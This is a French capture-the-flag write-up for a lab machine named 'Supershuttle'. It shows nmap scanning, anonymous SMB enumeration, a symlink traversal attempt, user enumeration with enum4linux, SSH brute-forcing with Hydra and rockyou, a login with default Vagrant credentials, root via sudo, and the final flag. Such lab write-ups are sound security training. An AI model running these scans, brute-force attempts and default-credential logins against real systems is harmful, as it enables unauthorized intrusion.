

WRITE-UP : CHALLENGE SUPERSHUTTLE

1. RECONNAISSANCE

L'objectif est d'attaquer la machine située à l'adresse IP 10.68.215.51.

J'ai commencé par une phase de découverte de ports via nmap. Les scans classiques (-sS) ne passant pas (probablement à cause des raw sockets), nous avons opté pour un scan de type TCP Connect (-sT) sur l'ensemble des ports.

Commande utilisée :

```
sudo nmap -sT -p- 10.68.215.51
```

```
(neiky@CLLPT019) ~  
$ sudo nmap -sT -p- 10.68.215.51  
[sudo] password for neiky:  
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-15 14:28 CET  
Nmap scan report for 10.68.215.51  
Host is up (0.036s latency).  
Not shown: 64840 closed tcp ports (conn-refused), 692 filtered tcp ports (net-unreach)  
PORT      STATE SERVICE  
22/tcp    open  ssh  
139/tcp   open  netbios-ssn  
445/tcp   open  microsoft-ds  
MAC Address: 08:00:27:7A:29:61 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)  
Nmap done: 1 IP address (1 host up) scanned in 14.89 seconds
```

Résultat :

Le scan révèle que le service SMB est ouvert.

2. ÉNUMÉRATION DU SERVICE SMB

J'ai tenté une connexion sur le service SMB pour lister les partages disponibles.

```
(neiky@CLLPT019) ~  
$ smbclient -L //10.68.215.51/  
Password for [WORKGROUP\neiky]:  
Anonymous login successful  
  
Sharename      Type           Comment  
-----  
tmp            Disk          Temporary file space  
IPC$          IPC           IPC Service (Samba Server)  
Reconnecting with SMB1 for workgroup listing.  
smbXcli_negprot_smb1_done: No compatible protocol selected by server.  
Protocol negotiation to server 10.68.215.51 (for a protocol between LANMAN1 and NT1) failed: NT_STATUS_INVALID_NETWORK_  
RESPONSE  
Unable to connect with SMB1 -- no workgroup available
```

- Authentification : Succès. L'authentification anonyme est activée sur le serveur.
- Partages découverts : Deux partages sont visibles, IPC\$ et tmp.

Analyse du partage "tmp"

Je me suis connecté au partage tmp. L'accès est autorisé en lecture et en écriture.

La présence de dossiers caractéristiques comme .X11-unix indique que ce partage pointe directement vers le répertoire système /tmp du serveur.

```

(neiky@CLLPT019)~$
$ smbclient //10.68.215.51/tmp
Password for [WORKGROUP\neiky]:
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> ls
.                D           0   Mon Dec 15 14:48:12 2025
..               D           0   Wed Nov  1 20:31:27 2023
.X11-unix        DH           0   Mon Dec 15 14:48:12 2025
.ICE-unix        DH           0   Mon Dec 15 14:48:12 2025

1016096 blocks of size 1024. 1016096 blocks available
smb: \>

```

Tests de vulnérabilités (Non concluants) :

- Exécution : Tentative d'exécution de fichiers directement via SMB, ce qui a échoué car SMB ne le permet pas nativement.
- Symlink Traversal : J'ai tenté une attaque par lien symbolique pour accéder à la racine du système de fichiers (rootfs).

```

smb: \> symlink / rootfs
NT_STATUS_NOT_A_REPARSE_POINT symlinking files ((null) -> /)
smb: \>

```

Résultat : NT_STATUS_NOT_A_REPARSE_POINT. Le serveur est sécurisé contre les liens symboliques insécurisés.

Analyse du partage "IPC\$"

Le partage IPC\$ est un canal de communication permettant d'interagir avec les processus internes du serveur. Cela nous a permis d'effectuer une énumération plus poussée des utilisateurs via l'outil enum4linux.

Commande utilisée :
enum4linux -a 10.68.215.51

```

S-1-22-1-1000 Unix User\y (Local User)
S-1-22-1-1001 Unix User\vagrant (Local User)
S-1-22-1-1002 Unix User\bob (Local User)

```

Résultat :

L'outil a permis d'identifier plusieurs utilisateurs potentiels, notamment bob et vagrant.

3. EXPLOITATION ET ACCÈS INITIAL

Tentative sur l'utilisateur "bob" (Fausse piste)

J'ai d'abord tenté une attaque par force brute sur l'utilisateur bob à l'aide de l'outil Hydra. Bien que nous ayons réussi à nous connecter, l'utilisateur bob ne possédait pas les droits suffisants : la commande `sudo su` a échoué (impossible d'accéder au `/root` pour trouver le flag).

```
root@kali:~/Downloads# hydra -l bob -P /usr/share/wordlists/rockyou.txt.gz ssh://10.68.215.51 -t 4
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-12-15 15:17:11
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries (1:1/p:14344399), ~3586100 tries per task
[DATA] attacking ssh://10.68.215.51:22/
[21][*] Host: 10.68.215.51 login: bob password: password
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-12-15 15:17:16

root@kali:~/Downloads# ssh bob@10.68.215.51
bob@10.68.215.51's password:
alpine318~$ sudo su

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.

For security reasons, the password you type will not be visible.

[sudo] password for bob:
bob is not in the sudoers file.
```

Vecteur d'attaque : "Vagrant Box"

L'identification de l'utilisateur vagrant ainsi que le nom de la machine suggèrent qu'il s'agit d'une "Vagrant Box" (une machine virtuelle pré-configurée pour le développement). Ces machines possèdent souvent des identifiants par défaut connus.

Exploitation SSH :

J'ai testé les identifiants par défaut :

- User : vagrant
- Password : vagrant

Commande de connexion :

`ssh vagrant@10.68.215.51`

L'authentification a réussi.

4. ÉLÉVATION DE PRIVILÈGES (ROOT)

Une fois connecté en tant que vagrant, j'ai tenté d'élever nos privilèges via `sudo su`. Sur les box Vagrant, cet utilisateur a généralement les droits d'administration par défaut.

Commande :

`sudo su`

J'ai pu obtenir un accès root et trouver le flag.

```
alpine318:/$ sudo su
alpine318:/# find / -name flag.txt
/root/flag.txt
alpine318:/# cat /root/flag.txt
FLAG{BobIsJustOneWay2Root}alpine318:/#
```

FLAG{BobIsJustOneWay2Root}